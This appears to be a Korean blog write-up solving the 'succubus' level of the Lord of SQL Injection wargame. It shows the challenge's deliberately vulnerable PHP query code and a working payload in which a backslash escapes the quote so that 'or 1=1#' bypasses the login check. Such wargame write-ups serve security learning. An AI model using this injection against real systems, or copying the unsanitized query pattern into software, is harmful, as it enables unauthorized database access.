LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트는 zombie_assassin에 이어 succubus 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
succubus은 단순 필터링 우회문제이지만, 함수에서 어떻게 필터링을 했는지 주의깊게 살펴봐야 합니다.
근데 서큐버스 그림이 넘 안 이쁨 흑...
|
문제 이해 |
문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.
<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("succubus"); highlight_file(__FILE__); ?>
위의 문제에서 7번과 8번 라인에서 id와 pw로 받은 데이터 중 싱글쿼터를 필터링합니다.
여기서 preg_match 함수를 사용하였는데, 이 함수는 아직까지 잘 알려진 취약점이 있지 않습니다.
따라서 여기서 어떤 것이 필터링 됐고, 어떤 것이 필터링되지 않았는지 살펴보도록 합시다.
싱글쿼터는 필터링되어 있지만, 역슬레쉬(\)가 필터링되지 않았습니다.
여기서는 역슬레쉬를 이용하고, 입력 구간이 두 군데 있다는 것을 이용해야 합니다.
|
문제 풀이(쿼리) |
GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.
|
id와 pw쪽에 값 삽입 |
이 문제에서는 한 군데에 값을 집어넣었다고 해서 풀릴 수 있는 문제가 아닌 건가 싶습니다..
제가 풀이한 방법은 다음 원리를 이용한 것입니다.
먼저 일반 값을 넣었을 때와 역슬레쉬를 넣었을 때의 결과를 비교하면 다음과 같습니다.
일반 값을 넣었을 때 :
select id from prob_succubus where id='abcd' and pw='' |
역슬레쉬를 넣었을 때 :
select id from prob_succubus where id='\' and pw='(여기서부터 에러)' |
이 원리를 이용하면 역슬레쉬를 넣음으로써 뒤의 싱글 쿼터를 입력된 값으로 변조할 수 있게 됩니다.
따라서 다음과 같은 방법으로 위의 취약점을 이용할 수 있습니다.
https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&pw=or%201=1%23 |
위의 쿼리는 id=\&pw=or 1=1%23 이라고 작성해주었습니다.
위와 같이 입력해주게 되면 실제 쿼리는 다음과 같이 변하게 됩니다.
query : select id from prob_succubus where id='\' and pw='or 1=1#' |
이처럼 \' and pw= 으로된 문자열 값이 id에 들어갔다고 인식되게 됩니다. 또한 pw에 입력한 or 1=1이 참으로 만들어줄 조건이 됩니다.
즉, id='문자열' or 1=1#'과 같은 형태가 된 것이나 다름 없다는 것입니다.
'WARGAMES > LOS(rubiya)' 카테고리의 다른 글
[LOS - Lord Of SQL] Level 21 - iron_golem (2) | 2019.04.05 |
---|---|
[LOS - Lord Of SQL] Level 20 - dragon (0) | 2019.04.05 |
[LOS - Lord Of SQL] Level 19 - xavis (0) | 2019.04.05 |
[LOS - Lord Of SQL] Level 18 - nightmare (1) | 2019.04.04 |
[LOS - Lord Of SQL] Level 16 - zombie_assassin (0) | 2019.03.28 |
[LOS - Lord Of SQL] Level 15 - assassin (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 14 - giant (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 13 - bugbear (0) | 2019.03.27 |